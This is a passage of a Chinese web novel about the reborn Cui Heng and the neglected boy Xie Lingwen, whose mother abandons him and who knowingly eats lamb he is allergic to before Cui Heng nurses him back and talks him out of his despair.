他眉目清淡,飘渺似池中幻月,因常年被病气熏着,皮肤缺少血色,总带着一股苍白,几乎可以看到皮肤下的青色纹理,像易碎的瓷器,让人忍不住去怜惜。
若问上京哪位郎君是众多闺阁千金的心头爱,那必是谢令闻,而且还需得是穿着官服的谢令闻。
他官居五品时,官服为绯红色,一张极淡的脸似是被火烤着,硬生生烘出几分鲜丽来。
淡极生艳,莫过于此。
后来他平步青云,换上紫色官服,威严冷清,不苟言笑,让多少女子梦碎上京,惋惜谢郎不再。
年幼的他虽略显稚嫩,却已经有了些那个清冷孤傲的权臣模样。
崔蘅想起他失之交臂的状元,叹了口气道:“若是能看到你簪花的样子该多好。”
谢令闻抬起眼睫望向满脸憧憬的崔蘅,小娘子眼神清亮,看着他笑:“谢哥哥若是能考得状元,必定是我朝历年来第一个容貌压过探花的状元!”
申家每年十一月举办择鱼宴,距今还有不到三个月时间。
谢令闻攥紧笔,笔杆坚硬,握在手中让心也踏踏实实的不再摇晃。
恰时,丽娘的声音自灶房传来。
“阿蘅,不要写了,阿娘给你做了槐叶冷淘,快带你谢哥哥出来吃吧。”
“阿娘做的槐叶冷淘最好吃了!谢哥哥快走!”小娘子的眼睛“蹭”地一下子亮起来,抬手就将谢令闻手中的笔夺下,迫不及待地带着他往外跑。
崔显刚净完手,瞧见女儿风驰电骋地窜出来,无奈道:“阿蘅慢些,令闻身上还有伤。”
“谢哥哥伤的是肩膀,又不是腿。”
崔蘅不满地咕哝,乖乖停下步子,转头望向谢令闻,面带关切,“谢哥哥,我刚刚有弄疼你吗?”
他轻轻摇了摇头,小娘子倏然松口气,悄悄靠近他,压低声音道:“阿爹总是这样多虑,仿佛咱们孩子蹦一下便能断了腿一般。”
话音刚落,她的后脑勺便被轻轻拍了一下。
崔显轻哼:“妄议长辈,罚你不许吃第二碗。”
崔蘅哼哼唧唧地跟上去求饶,谢令闻在身后看着她皱起鼻子撒娇的模样,想起大黄小时候也是这般哼唧着蹭他,向他要吃的。
丽娘这边已经将膳食摆好。
四碗翠绿的槐叶冷淘,一碟颜色鲜亮的樱桃肉,还有一张被分为六切的薄撑。
都是家中常见的膳食。
崔蘅用公筷先给阿爹阿娘谢令闻一人夹了一块肉后,才往嘴里给自己塞了一块。
樱桃肉软糯弹牙,一口咬下去,外焦里润,汤汁在舌尖炸开,肉香扑鼻。
崔显在外有食不言寝不语的规矩,在家从不拿这些来管束妻女,见女儿吃得忘乎所以,忍不住开口提醒:
“阿蘅,慢些吃,莫要噎着。”
崔蘅点了点头,还不忘招呼谢令闻。
“谢哥哥多吃一点,这个薄撑也好吃,你快尝尝。”
“还有槐叶冷淘,你挑起来一些拌着樱桃肉的汤汁,卷在筷子上一口吞掉,像这样——”
崔蘅一口吞掉裹着汤汁的面条,幸福地眯起眼睛,“实属美味!”
谢令闻眉眼沉静,安静地听着。
“娘子,张家的来了,说带着他们家孩子来给咱们小娘子道歉。”店小二的声音自后堂传来。
丽娘冷笑:“让他们候着,等咱们用完午膳。”
崔显默不作声,显然同意丽娘的做法。
不知怎的,原本软绵绵的太阳愈发毒辣,张氏带着福子老老实实地站在崔家外,瞧店小二出来,涎着脸问道:“你们主家可有什么吩咐?”
“没什么吩咐,在外候着吧,等我们娘子先用完膳。”店小二没给她好脸,“咣当”一声就关了后角门,差点夹断张氏的鼻子。
“呸!真拿自己当圣人娘娘,在老娘这儿摆起谱了!”张氏压低声音,朝崔家门前狠狠啐了一口。
福子热得满头大汗,不耐烦地道:“阿
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娘,我们什么时候能进去啊?我都要热死了!”
“我怎么知道!”张氏也热得火气噌噌往上涨,一巴掌扇在福子头上,骂骂咧咧地道,“还不是你那个死鬼爹太窝囊!他若有点本事,老娘今儿也没必要腆着脸来崔家!”
她原以为崔家男人是个实在的酸腐文人,崔蘅又只是一个小闺女,孩子间闹着玩而已,崔显不会因此伤了两家的和气。
谁知道他那么不要脸,竟直接了当地向申家说要将福子从择鱼宴除名。
青州普通人家就指望着孩子通过择鱼宴跃龙门,张家也不例外,福子爹点头哈腰地送走申家人后转眼就给了她一巴掌,让她立即来崔家赔礼道歉。
为了福子,张氏有再多火气也得憋心里。
用完午膳后,丽娘忙着酒馆的事,崔显去收拾碗筷,崔蘅便和谢令闻回到书房继续写字。
日头西斜,崔蘅挺着腰板写了一会儿后觉得有些无趣,便拿过木雕,用笔给大黄画爪子。
“谢哥哥,你帮我看着点我阿爹可以吗?”
怕崔显忽然过来,崔蘅双手合十,可怜兮兮地看着谢令闻。
更像大黄了。
谢令闻垂下眼,轻轻点了点头。
屋外丽娘吆喝小二上酒的声音远远传来,掺杂着崔蘅动来动去的细细簌簌声,并不吵闹。
谢令闻很喜欢这些细小的噪杂声,让他感觉自己还活在人间。
半帖字刚写完,屋外传来轻微的脚步声。
谢令闻掩唇轻咳了一声,崔蘅便福至心灵地爬起来,抓紧将木雕藏到桌子下,端端正正地拿起笔坐好。
下一瞬,崔显果然推门而入,招呼二人出来:“阿蘅、令闻,张家娘子带着福子来向你们赔罪了,先出来吧。”
崔蘅和谢令闻跟着崔显到了正堂。
丽娘正坐在上首喝茶,张氏站在一旁赔笑,福子则提溜着眼珠子四处打量屋子。
“阿蘅来了,快让大娘瞧瞧头上的伤如何。”
张氏作势要来搂崔蘅的肩膀,被她闪身躲开。
“阿爹阿娘我害怕!”崔蘅扑进丽娘怀里,委屈巴巴地道,“我不要她碰我,她打人可疼了!”
“咱们不让她碰,阿娘在呢,她不敢打你。”
丽娘心疼地搂住崔蘅,再朝张氏望过去时,面似寒霜,“我们就阿蘅一个女儿,当眼珠子疼着,一会儿没看住就那么被你作践,这事我跟你没完!”
“我们没想动阿蘅,都是误会,福子快来给你阿蘅妹妹道歉。”
张氏连忙拉着福子要跪,被崔显拦住。
“免了,我们经受不住你这一礼,省得传出去说我们崔家欺负人。”
张氏尴尬地止住,跪也不是,不跪也不是。
“崔先生,我是带着福子去找谢家算账的,真没想碰阿蘅!”
眼看着崔显和丽娘说不动,张氏开始抹眼泪,期期艾艾地道,“我们家只福子一个儿子,就指望着他光宗耀祖了,您可不能因为这点事就断了我们福子的路啊!”
“崔先生您行行好放过我们吧!将来福子若是出人头地了,我定会叫他拿您当干爹孝敬!”
“福子是孩子,谢哥哥便不是孩子了吗!”崔蘅气极,怒声道,“明明昨日就是福子先招惹的谢哥哥,他发了高热和谢哥哥有何干系?”
“你们误伤了我,因我阿爹的身份才来向我谢罪,而谢哥哥因为没人护着,就叫你们这般轻视欺辱,你这种人教出来的孩子便是有幸为官,也只会是国之蛀虫!”
12. 流萤
日落黄昏,枝头挑着半轮残阳,店小二把撒泼的张氏轰出崔家,院子里又重新安静下来。
崔显自屋内出来时,面色依旧算不上好。
张氏把丽娘亲手给他做的袍子扯坏了,福子还在他娘的指使下抱着他的腿求情,鼻涕眼泪全糊在了上面。
“阿爹,福子真的不能去择鱼宴了吗?”
在崔蘅的印象中,崔显还是第一次拿出身份与人脉压人。
“他行径恶劣,轻易难改,若真运气好进了宏德书院,日后也定会惹出祸端。”崔显眉目沉沉,“况且他还伤了你和令闻,我不会再让他有和你们接触的机会。”
丽娘在屋内替崔显缝换下来的袍子,也叮嘱道:“你们两个以后遇到他便躲着点,莫要和这家人多来往,听到了吗?”
两小只乖乖点了点头。
天边的最后一丝霞光也被收回后,谢令闻婉拒了丽娘和崔蘅的极力邀请,坚持要回家。
崔显见他不肯留下,便也不再强求,点了灯笼要去送他。
“我送我送!”崔蘅抢过灯笼,笑嘻嘻道,“阿爹今日好不容易一天都在家,多陪陪阿娘吧,谢哥哥我来送。”
丽娘笑骂了句“小滑头”,朝崔显使了个眼色,“把灯笼给她吧,省得她晚上再念叨着谢哥哥谢哥哥。”
崔蘅接过灯笼,便蹦蹦跳跳地在前方为谢令闻引路,“谢哥哥,快跟上我。”
天地间已然拢上夜幕,月亮未升,万物寂寥,唯她手中提灯,比烈阳还要耀眼。
“谢哥哥,你说我要不要练武呀?”小娘子放慢脚步,走在他身侧,挥了挥小拳头,“若我会武,以后见福子一次便打他一次!”
“你喜欢,便去学。”
谢令闻垂眸看着脚下二人的影子,她的影子在灯笼下比他矮一些也圆润一些,此时蹦蹦跳跳地走,像一个圆滚滚的球在弹跳前行。
他觉得有趣,唇角微微扬起。
谢家就在眼前,谢令闻放缓了步子,小娘子忙着眼观四周,耳听八方,毫无所觉,也跟着慢下来。
可再慢,家里漆黑破旧的大门还是出现在眼前。
谢令闻停住脚,正要开口,却见崔蘅提起裙子朝墙角的草丛跑去,兴奋地道:
“谢哥哥你快来,这里有流萤!”
时值晚夏,虫蚁繁多,一到夜间,流萤便成群结队地飞舞在草木中,引得孩童驻足。
“好漂亮呀。”小娘子捧着脸惊叹,瞳孔中倒映着点点碎光,似星河萦绕其中。
她伸出手想要去碰,一只小小的流萤竟真的轻轻落在她的指尖上。
“谢哥哥,它好小啊!”
崔蘅小心翼翼地护着这只流萤给谢令闻看,“它好像是飞累了在休息。”
小小的流萤在他们之间散发着微弱的光,照亮她卷曲纤长的睫毛和泛起梨涡的脸颊。
如此乖巧的模样,却让谢令闻想起白日时她护着他骂张氏时张牙舞爪的样子。
“它走了,是要回家了吗?”
随着小娘子的话音,小虫儿自她指尖飞起,在半空中划出一道光弧,又重新落入一片浓绿中。
其他孩子见了流萤或别的小虫子,定要抓回去玩过瘾,决计不会在乎其死活,她却没有孩童那般天真的残忍,一双眼睛清澈透亮,看众生皆平等。
“谢哥哥,你进去吧,我要回家了。”
崔蘅把谢令闻送到门前,朝他挥了挥手,“明天我再找你玩!”
他轻轻点了点头,小娘子便雀跃地转身走了。
谢令闻站在门前,一直看她的衣角消失在夜色里,才转身进去。
院子里黑漆漆的,没有灯光,也没有萤火,只有阿娘屋子的窗户透出一丝幽光。
他驻足在院内看了会那扇窗,直到指尖被夜色浸得冰凉,才摸黑进了侧间。
屋子里和几日前没什么变化,依旧破败、空荡,只是墙壁上糊着的泥又掉下来一大块,落到地上的草席上,把他叠好放在上面的衣裳也全都弄脏了。
谢令闻借着黯淡的月色将衣裳上的泥土抖落,一件件仔细地叠好,沾上泥的便拿明日去溪边洗。
他从怀里把崔蘅拿来为他包扎伤口的帕子拿出来。
帕子叠得很整齐,上面歪歪扭扭绣着的“蘅”字压在最上头,谢令闻垂眼看了很久,最后将这方帕子放在屋子里唯一一张还算家具的桌子上。
手上的伤还在隐隐作痛,谢令闻没有在意,他正要和衣躺下,门却忽然被推开。
谢秋娘站在门前,一袭素衣,面上未施粉黛,轻声唤他:“令闻,我买了些羊肉给你做水晶角儿,出来吃些吧。”
谢令闻一怔,站在原地没有动。
“令闻?”
谢秋娘又唤了他一声,殷切地道,“快来呀,水晶角要凉了。”
谢令闻几乎以为自己还在宋家仓房里躺着,他经常做类似的梦,梦的开始是阿娘笑着向他招手,梦的最后阿娘总会变成狰狞的怪物模样朝他张开血盆大口。
可下一次做梦,他还是会朝阿娘走过去。
谢令闻默不作声地朝外走,谢秋娘跟在他身边,神色难辨。
谢家院子里有两个青砖瓦房,正屋分了两间,靠西的当作正厅,靠东侧的是谢秋娘寝房,里面还隔开了一间做盥洗室,谢秋娘花大价钱打了一排柜子放她的衣裳。
另一个房子也分成两间,一间是谢令闻住的侧间,另一间便是灶房。
本来这房子不该给谢秋娘,她自上京回来时还忧心自己无处可去,可等到家,却被告知自己那唯一的弟弟在父母去世后酒醉掉进湖中溺死了,她自然而然地成了这房子的主人。
自小就只能住柴房的她立马把正屋的东西全拆了改成自己的屋子,正厅虽小,却也桌椅一应俱全。
她自诩是去过大地方的,也攒下来些家底,家里头的物件儿都是按照上京贵人用的款式打的,谁见了都夸她眼光好。
以前谢秋娘不许谢令闻进正屋,怕他弄坏自己的东西,今天却一反常态地领着他进了门。
谢令闻站在饭桌边,看谢秋娘为他盛饭。
屋子不大,学着富贵人家在正中间放着一个香炉,挤得饭桌椅子搁在一角,更显狭窄局促。
香炉还飘荡着袅袅香烟,泛着一股甜香,有些腻
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。
“快坐下吧,趁着你吃的功夫,我和你说说话。”谢秋娘将碗摆在他面前,招呼他坐下。
谢令闻坐下,垂眼看着碗里晶润透亮的水晶角儿,没有动。
“令闻,一转眼,你都长那么大了。”谢秋娘轻叹,“当年你刚出生时,才一点点大,我吓得不行,以为你活不了了,那么小一个孩子,整夜整夜地哭,扰得我一点也睡不好。现在的你不需要娘整夜看着了,已经是个懂事的大孩子了。”
她满眼慈爱地看着谢令闻,见他一直沉默,问道:“怎么不吃啊?我记得你最喜欢吃羊肉,你六岁那年我做了次羊羹,你不是吵着要吃的吗?”
碗里的羊肉水晶角已经冷了,一层油腻的薄膜糊在汤面上,散发着阵阵膻气。
一阵令人窒息的沉寂后,谢令闻缓缓开口:“我吃羊肉会起疹子。六岁那年你做羊羹,我嘴馋,用调羹沾了点汤汁舔,被你看到后,你把一整碗滚烫的羊羹灌进我嘴里……”
他喉头滚动,停顿了片刻。
“那天晚上我起了满身红疹,你不在家,离开了整整两天,我是自己硬生生挺过来的。”
谢秋娘愣住。
“没什么事的话,我先回屋了。”
谢令闻站起身,身后响起谢秋娘的声音,含着哽咽。
“我要走了,这家以后就剩你自己,要顾着身子。”
谢令闻背对着她,没有应声。
谢秋娘继续道:“我要嫁的是个商人,常年行走在外,此次来青州买货暂且住着,明日便走。他待我很好,不嫌弃我曾生育过。”
谢令闻看着外面浓黑的夜色,蜷缩起指尖,低低地“嗯”了一声。
“令闻,阿娘对你不好,是阿娘糊涂。”谢秋娘坐下抹起眼泪,“可我过得太苦了,年纪轻轻便去伺候大户人家,那些人只把我们当猪狗,打死发卖全凭他们心意,本来想着攒些银钱回来可以嫁个好夫婿,可没成想有了你,一个带子的寡妇是人人都嫌的。张顺倒是愿意娶我,可他死了……”
“你不想让我跟着,我不会纠缠。”
谢令闻抬脚离开,背影孤绝。
他原先就明白,自己是阿娘所有不幸的根源,阿娘迟早会丢掉他。只是不曾想,这一天来得如此快。
夏夜燥热,谢令闻却蜷缩在草席上,浑身发抖。
他听到外面人来人往搬运东西的声音,阿娘低声道:“放心,他不会要跟着咱们的,咱们趁夜走,没人发觉。”
弃子不是什么光彩事,谢秋娘也要脸,只得趁夜深走,也省得被一群多事的街坊嚼舌根。
院子里渐渐安静下来,一道人影停在他门前,久久未动。
“应该都清点好了,没漏什么值钱的东西。”
谢秋娘自言自语的声音逐渐远去,门“吱呀”一声被轻轻合上,车轱辘碾压过地面的声响越来越淡,直至完全寂静。
谢令闻缓缓放下正要推开门的手,眼中的光亮也彻底熄灭。
他想起被福子欺负的那天,看到门缝里闪过的一片深蓝色衣角,上面绣着怒放的艳红色牡丹。
阿娘,最爱牡丹了。
13. 母子
清晨未明,雾气正浓,街上小食的气味与桂花清香混合在晨雾中,让整条街变得温暖而清凉。
城门处不知为何堵塞了很久,排了很长一段队伍。
谢秋娘掀起帘子往外看了一眼,见前方人没有往前动的意思,不耐烦地皱起眉。
商人歪倒在车中,鼾声震天,肥胖的身体几乎要撑满车厢,只当甩手掌柜。
谢秋娘拿出些银子递给车夫,“你去前头瞧瞧发生了何事,把这些银子给军爷们换酒喝打打牙祭,问问能否让咱们先过去。”
她迫不及待地想走出这座困她半辈子的青州城,半盏茶的时间也不愿多待。
车夫领命而去,谢秋娘正要放下帘子,却见街那端站着个影影绰绰的人。
一袭被雾气打湿半边的灰扑扑长衫,眉眼似融在雾中,模模糊糊只能看清他那双黑漆漆的眼睛。
正是她那讨债鬼儿子。
谢秋娘被那双黑瞳盯的心里发慌,撇过头放下帘子,把晨雾与喧嚣的人声全都隔绝在外。
她饮了口热茶,暖流顺着喉管蔓延向四肢百骸,心中才稍稍安定一些。
看着釉色清淡的茶杯,谢秋娘想起那个与谢令闻有七分像的男人。
他爱笑,总是眉眼弯弯地唤她阿秋,会攒很长时间的钱给她买时兴的首饰,还会在她生气时扯着她的衣袖小声道歉。
他每日省吃俭用,一年四季只两件衣裳轮着穿,就为攒钱娶她。
他说自己定会考中进士,风风光光地迎她进门,可他考了一年又一年,年年名落孙山,连举人都没能考上。
谢秋娘不想嫁给一个穷书生过和幼年时一般苦哈哈的日子,再真挚的感情也会被柴米油盐一点点磋磨的消失殆尽。
她笑着说我等你,转头便爬上了家中小主人的床。
他知道后只是沉默,而后问:“我离你远一些,是不是对你更好?”
谢秋娘已经忘了自己当时说的什么,只记得他当夜便离开了上京,银钱全托人留给了她,自己什么也没带。
她用那些银钱给自己置办了些新首饰,郎君已经允诺纳她为妾,没有些像样的物件打点,怕会被旁人瞧低了去。
谢秋娘幻想着以后当上主子的模样,以为自己已经高枕无忧时,又骇然地发现自己有孕了,算算日子,是他的。
镇静下来后,谢秋娘决定放手一搏,谎称这孩子是主人家的,可老天无眼,她还没来得及公布这则喜讯,噩耗便先一步来了。
——承诺纳她的郎君死在了花柳巷。
她所在的府邸不算什么大户人家,家主也只是一五品小官,府中妻妾众多,子嗣自然也多。
谢秋娘勾搭上的这个不受宠,也不干正事,只管花天酒地,是人人都嫌的一个。
无人在意他的死活,只气他败坏了家中名声。
谢秋娘原本还想装装样子嚎上几嗓子,可一看见那副泛着乌青色的肥胖尸体,胃里便忍不住一阵翻江倒海。
被逐出府时,她勒紧了肚子,生怕被发现有孕走不了。
她在上京流连很多日,只为打听书生的消息,好不容易找到他昔日好友,只听得几个字:
“他死了,就上个月十五。”
是她坦白自己要做他人妾的后一日。
“哦。”
谢秋娘没多问,转身走了。
她害怕啊,若这男人因她死的该怎么办?她活得已经很艰难,人命那么重,她背不动的。
谢秋娘去抓了副堕胎药,一碗灌下去,她疼的死去活来,肚子里的玩意儿却毫发无伤。
她舍不得再抓第二次药,一一试过堕胎的土方子,可这孽障依旧安安稳稳地活在她肚子里。
索性生下来再掐死,谢秋娘气得发狂。
这个孩子很乖,在肚子里时安安静静,生他时也很快,谢秋娘没遭什么罪。
看着儿子肖似书生的小脸,谢秋娘不知道心头是什么滋味。
她刻意避开从前的事,不在意街坊编排她,也不在意谁家过得好,只关起门来安心抚育孩子。
和她曾有过婚约的张顺家中富裕,想娶她做续弦,不嫌弃谢令闻,愿意拿他当亲子。
盼望的安稳日子终于来了,谢秋娘很满足。
直到张顺也死了。
老天爷再次让她美梦破碎。
谢秋娘在屋子里枯坐了一夜,哭到无泪可流。
天蒙蒙亮时,自门缝投进一道细长的人影,影子摇摇晃晃延伸至她脚下,似是来索命的厉鬼,想抓住她的脚踝将她拖入无间地狱。
谢秋娘失声尖叫起来,下一瞬,门被打开,刚比门槛高的孩子捧着碗,晃着身子跨进门,逐渐逼近她。
“阿娘,吃饭。”
那双盛着她整个人的黑色眸子,像极了故人。
谢秋娘依旧记得他走之前,用与谢令闻如出一辙的眼睛盯着她,凄哀地问:“阿秋,你爱过我吗?”
她说爱过,他便信了。
他向来很傻,不管她说什么都坚信不疑。
只有分道扬镳时,谢秋娘向他吐露了真言,告诉他自己不想过苦日子,想吃好穿好住好,想锦绣罗衣,仆从成群。而他,太无用了。
她最知道怎么拿捏人心,将原委推到对方身上,让自己不沾半点灰尘。
“人不为己,天诛地灭。”谢秋娘将茶杯放下,喃喃自语,“自己的命合该自己闯出来,我们母子谁都不要拖累谁。”
城门前的队伍动了,马车慢慢驶动,穿过薄雾与人群,消失在谢令闻眼前。
不知道站了多久,直到太阳驱散雾气,身上的衣衫被晒得灼人,他才收慢慢回目光,转身朝回走。
谢令闻不知道自己要朝何方去,只是下意识朝前走,脑子里一片混沌,周围的一切都似与他隔了层罩子,听不清,也看不真切。
“谢哥哥!”
混沌被这嘹亮的一嗓劈开,谢令闻有些迟钝地抬起眼,看见崔蘅手里举着一个包子朝着他笑,眼睛被笑意染得一片透亮。
谢令闻停住脚,小娘子便朝他跑过来,鬓边的发丝沾了几缕在颊侧,刚好触到她的梨涡,似嫩柳拂溪,荡出一圈涟漪。
“谢哥哥,你也是来吃早食的吗?”崔蘅晃了晃手里的大包子,“今天宋叔家的包子好咸,我们一起去喝豆饧吧。”
谢令闻缓缓摇了摇头,便抬脚略过她走了。
“谢哥哥?”
崔蘅在他身后喊了几声,谢令闻始终像没听到一般,独自消失在人群中。
“阿蘅,看什么呢?”买好光烧饼回来的崔显见女儿自己傻站着,牵着她在一旁的豆饧铺子边坐下。
“方才我碰到谢哥哥了。”
“令闻?他上街做什么?”
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>崔蘅摇了摇头,眉眼间浮上些担忧,“我觉得谢哥哥有些不对劲。”
“昨日还好好的,应没什么大事。”崔显把刚端上来的豆饧推到她面前,宽慰道,“待会吃完早食你顺路去看看就是。”
崔蘅点了点头,三下五除二地吞掉包子和豆饧,送走阿爹后,揣上买给阿娘的烧饼,一个人赶忙朝家去。
她特地绕到后门,想顺路先看一眼谢令闻,走到巷子口时,碰到几位还算熟识的婶娘正靠着院墙唠嗑。
崔蘅一一打过招呼,婶娘们没怎么搭理她,转头便又凑到一起嘀咕。
“昨夜我亲眼见她折腾许久,把东西全搬上了一架足有四尺宽的马车,天不亮就走了!”
“你瞧错了吧,我方才还见谢家小子从外头回去。”
“她谢秋娘化成灰我也认得!”
住崔家隔壁的周氏压低声音道,“她啊,定是扔下儿子,自己跟男人跑了!”
其他几个女人脸色各异。
“她也真是狠心,儿子说不要就不要了。”
“人家去过好日子了,儿子算什么,以后又不是不能生了。”
“也是,一个野种……”
女人话音未落,便自后飞来一块小石子,砸在她腰间。
众人偏头望去,看见崔蘅像头怒气冲冲的小兕子一般瞧着她们,仿佛下一刻便要撞过来。
“不许说谢哥哥!”
她狠狠瞪了一眼,转身朝谢家跑去。
众人不敢得罪崔家,讪讪地道:“从前不见这孩子如此野蛮,定是这几日和谢家小子待一起久了。”
崔蘅没有搭理她们,她只想赶紧去找谢令闻。
一个孩子忽然被母亲抛弃,崔蘅不敢想,他该有多难过。
“谢哥哥!”
崔蘅敲响谢家的门,“谢哥哥,你在吗?我是阿蘅!”
小娘子急切的声音朦朦胧胧传进昏暗的屋子里,坐在饭桌前的谢令闻缓缓掀起眼睫,暗色的瞳孔蒙着一层灰翳,如一潭死水。
“谢哥哥,谢哥哥……”
她还在门外坚持不懈地敲门,仿佛只要他不开门,她就会在外面敲一辈子。
崔蘅急得团团转,扒着门缝正往里瞧时,门忽然开了,她猛然失去支力,朝前栽过去。
眼看着脸就要与大地亲密接触,崔蘅感觉自己脖子一勒,整个人就被提了起来。
谢令闻看她站稳后,立马松开拽着她后衣领的手。
小娘子心有余悸地拍了拍胸口,朝他笑开:“谢哥哥,我来找你玩。”
她闭口不提方才听到的事。
“没空。”谢令闻冷淡地开口。
崔蘅眨了眨眼,站着没动,“那谢哥哥什么时候有空呀?”
“不知。”
谢令闻的手扶住门,目光冷冷地落在她身上。
是逐客的意思。
“好吧,那谢哥哥先忙吧,我走了。”崔蘅有些失落地耷拉下脑袋,转身朝外走,整个人瞧着都蔫巴了。
谢令闻目送她离开,视野忽然越来越模糊,天地开始旋转颠倒,呼吸也变得困难起来。
他抿紧唇,趁着还剩最后一丝意识将门关上。
“哐当——!”
“谢哥哥同意我进去了?”
崔蘅惊喜地朝后望去,倏然间,瞳孔紧缩,“……谢哥哥!”
14. 难过
大风刮过满地落叶,露出谢家贫瘠干裂的土地,瘦弱的鸡鸭在院子里漫无目的地觅食,目光呆滞。
崔蘅蹲在谢令闻床边,也在发呆。
屋子里光线昏暗,门扉已经腐烂,风一吹便嘎吱一响,墙面布满了蛛网,地面上坑坑洼洼,她方才进来时差点摔跤。
谢令闻少年时困苦无依,后来做了权臣,依旧两袖清风。
前世岭州地动,六城皆覆,死伤无数,民不聊生。
朝廷倾尽财力救灾,国库亏空时,谢令闻变卖了自己的所有家产,将换来的银钱全捐献给朝廷,并以雷霆手段拿下京中想借灾敛财的蛀虫。
上京血流成河,他却亲自出京坐镇岭州,每日采买的救济物品刊登为报,发放四海,万民同监。
后来岭州终于恢复往日的生机,他回来时便累得一病不起,听闻谢府中只他一人,仆人全遣散,连家具也只剩一个床榻。
当时赵檐有意拉拢谢令闻,便派崔蘅前去探望,到时只见谢府空荡似鬼宅,屋内传来一阵压抑的咳声。
崔蘅推开门,微微一愣。
屋子里只有一束自窗户斜照进来的光,光下,谢令闻墨发半散,肤色苍白似雪,正费力地下榻。
长袍逶迤,搭在他一侧肩上,他伸手去整理另一侧肩上滑下的袍子,却不想失了平衡,整个人跌倒在地。
崔蘅眼疾手快地扶住他,仿佛是伸手接住一片轻飘飘的雪花,没有任何重量。
谢令闻被一双手接住,仓促地抬起颤抖的眼睫,额前发丝滑落,落在崔蘅眼中,无端地多了些孤寂与脆弱。
“谢大人,许久未见。”她轻轻笑了笑,将谢令闻扶起来。
谢令闻低声道了谢,扶着崔蘅的手坐稳。
二人闲谈了些岭州事,少见的和谐。
崔蘅适时发出邀请:“吾主已备好良医佳肴,特地派在下来请谢大人,不知谢大人能否赏脸?”
谢令闻盯着热气腾腾的茶盏,眸光微转,方才的暖意尽数褪去。
“谢某为官是为民,不是为权。”
“为民……”
崔蘅轻声重复着这两个字,眼前那张冷锐苍白的脸逐渐与紧闭着双眼的少年重合。
大夫说谢令闻中了食毒,若不是发现得及时,只差一点便没命了。
如今他身上长满红疹,最近要小心饮食,更不能出门见风。
崔蘅看了眼四处漏风的屋子,将谢令闻身上盖着的阿娘从家里抱来的棉被掖了掖。
他眉头紧蹙,脸色苍白得几乎已经透明,好像下一秒便会在崔蘅眼前碎掉。
果真是烈火才能淬成真金吗?
谢令闻,你被旁人叫野种时、被母亲不喜乃至于被抛弃时、病痛却无人可依时,又在想什么呢?
崔蘅知道那种滋味。
她幼年无父无母,自己一个人摸爬滚打着长大,生病了就一个人蜷着,浑身都在痛,哭着喊娘,却无人应。有时病得厉害了,脑子里就想死了也好,死了就不用受欺负挨饿,下辈子当个猫狗也比当没娘的孩子强。
崔蘅轻轻叹了一口气,眼眶有些发酸。
她吸了吸鼻子,拿起蒲扇给药炉扇了扇火,火苗涨了势,欢快地舔舐着药炉,发出劈里啪啦的声响。
谢令闻头疼欲裂,意识先恢复时,眼前还一片漆黑。
他已经死了吗?阴曹地府为何比人间还要温暖?
谢令闻有些茫然。
直到五感慢慢回笼,他嗅到苦涩的药香。
眼前的迷雾散尽,谢令闻费力地转动眼睛,瞧见一个小娘子正背对着他抹眼泪。
他缓缓张开嘴,想叫她,却抑制不住地开始剧烈咳嗽。
崔蘅被惊动,看见他醒了,惊喜地站起身冲过来,“谢哥哥你终于醒了!”
“谢哥哥你身上痒吗?大夫说这个不能挠。”
“谢哥哥你有没有想吐?胸腔闷吗?”
小娘子眼睛红红鼻头红红地盯着他问东问西,还带着些鼻音,怎么看都像只兔子。
“我无碍。”他嗓音沙哑而虚弱。
“谢哥哥你别说话了,先吃药。”崔蘅连忙转身去药炉旁,用抹布垫着炉子把手,将煎好的药倒进碗里。
她一点也不像被宠着长大的孩子,做起事来很麻利,很像丽娘。
药汤散发着雾气,蒸腾出一片苦涩,崔蘅吹凉了一些,哄孩子一般地道:“谢哥哥乖乖喝掉,我这儿有松子糖哦。”
她笑着,眉眼弯弯,明媚灿烂。
谢令闻垂下眼,接过药碗,一口气将药汤饮下。
苦涩辛辣还未来得及在舌尖漫开,嘴里便被塞进一颗糖,转眼间,甜味盈满口腔,小娘子歪着头看他,“怎么样?甜不甜?”
唇上仍残留着她指尖触碰过的奇怪感觉,谢令闻避开她的视线,轻轻点了点头。
崔蘅也往自己嘴里塞了颗糖,她满足地眯起眼睛,将碗放在桌上。
“谢哥哥,我在正厅
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发现一只空碗,你是吃了碗里的东西才得食毒的吗?”
谢令闻微微一顿,片刻后,沉默地点了点头。
“那里面是什么啊?”
“羊肉水晶角。”他看着自己满是红疹的手,低声回答。
“你以前不知道自己吃羊肉会长疹子吧,以后要注意。”
崔蘅只是随意叮嘱,没听到谢令闻的回答,又重复了一遍,“谢哥哥?”
谢令闻抬眼望向她,眼中平淡无波,依旧保持沉默。
他不擅撒谎,面对她的问题,只能刻意避开,去回答另一个问题。
“我会注意。”
崔蘅盯着他,面上没了笑。
她站着,他坐着,一高一矮,显得她很有气势,谢令闻不知为何忽然有些无措,便错开她的目光。
“你知道自己吃羊肉会长疹子甚至会没命,对吗?”她的声音里已经带了些哽咽。
她自己也是有过那种想法的人,怎么会看不出他的心思?
谢令闻喉间干涩,张了张嘴,却只吐出一句:“你不要哭。”
吃掉阿娘做的那碗羊肉水晶角时,他确实带着想死的念头。
那天他看着阿娘走后,自己一个人回家,一个人坐在正厅,屋子里空空荡荡,比冰窖还冷。
他看着那碗泛着膻气的饭想,既然阿娘那么厌恶他,那他就把这条命也还回去。
从此以后,他们就真正的谁也不亏欠谁了。
破败的屋子里几乎没有一点阳光,崔蘅看着沉默的谢令闻,视线越来越模糊。
她想起谢令闻悲惨壮阔的一生,想起遇难时他伸出过的援手,想起夺嫡最后一战,他打开城门认降,对她俯首下跪,求她护佑百姓的场景。
虽为敌对,但崔蘅不得不承认,谢令闻是真正为国为民的好官,没有他,百姓的日子不会那么好过。
当初被胜利冲昏头脑,她不该那么折辱他。
她为谢令闻难过,又有些愧疚。
泪珠吧嗒吧嗒砸下来,崔蘅哽咽地说不出话。
“谢哥哥,你不要死……”小娘子牵住他的衣袖,呜咽着道,“我还想让你给我刻木雕。”
她笨拙地挽留。
谢令闻看着崔蘅哭得双颊通红的模样,忽然想,幸好自己没死,若不然,她定哭得更加厉害。
他用指尖轻轻拂去她脸上的泪水,为哄她开心,略带生疏地勾起唇,轻声道:
“好,我给你刻木雕。”
15.折辱
天色阴沉,乌云压顶,空中盘旋着几只伺机俯冲的秃鹫,空气中弥漫着硝烟味与血腥气。
风吹幡旗,猎猎作响。崔蘅坐于马上,看上京紧闭了两年的大门为赵檐打开。
上京的城门见证过太多生死与胜败,被推开时发出一声沉重悠长的叹息。
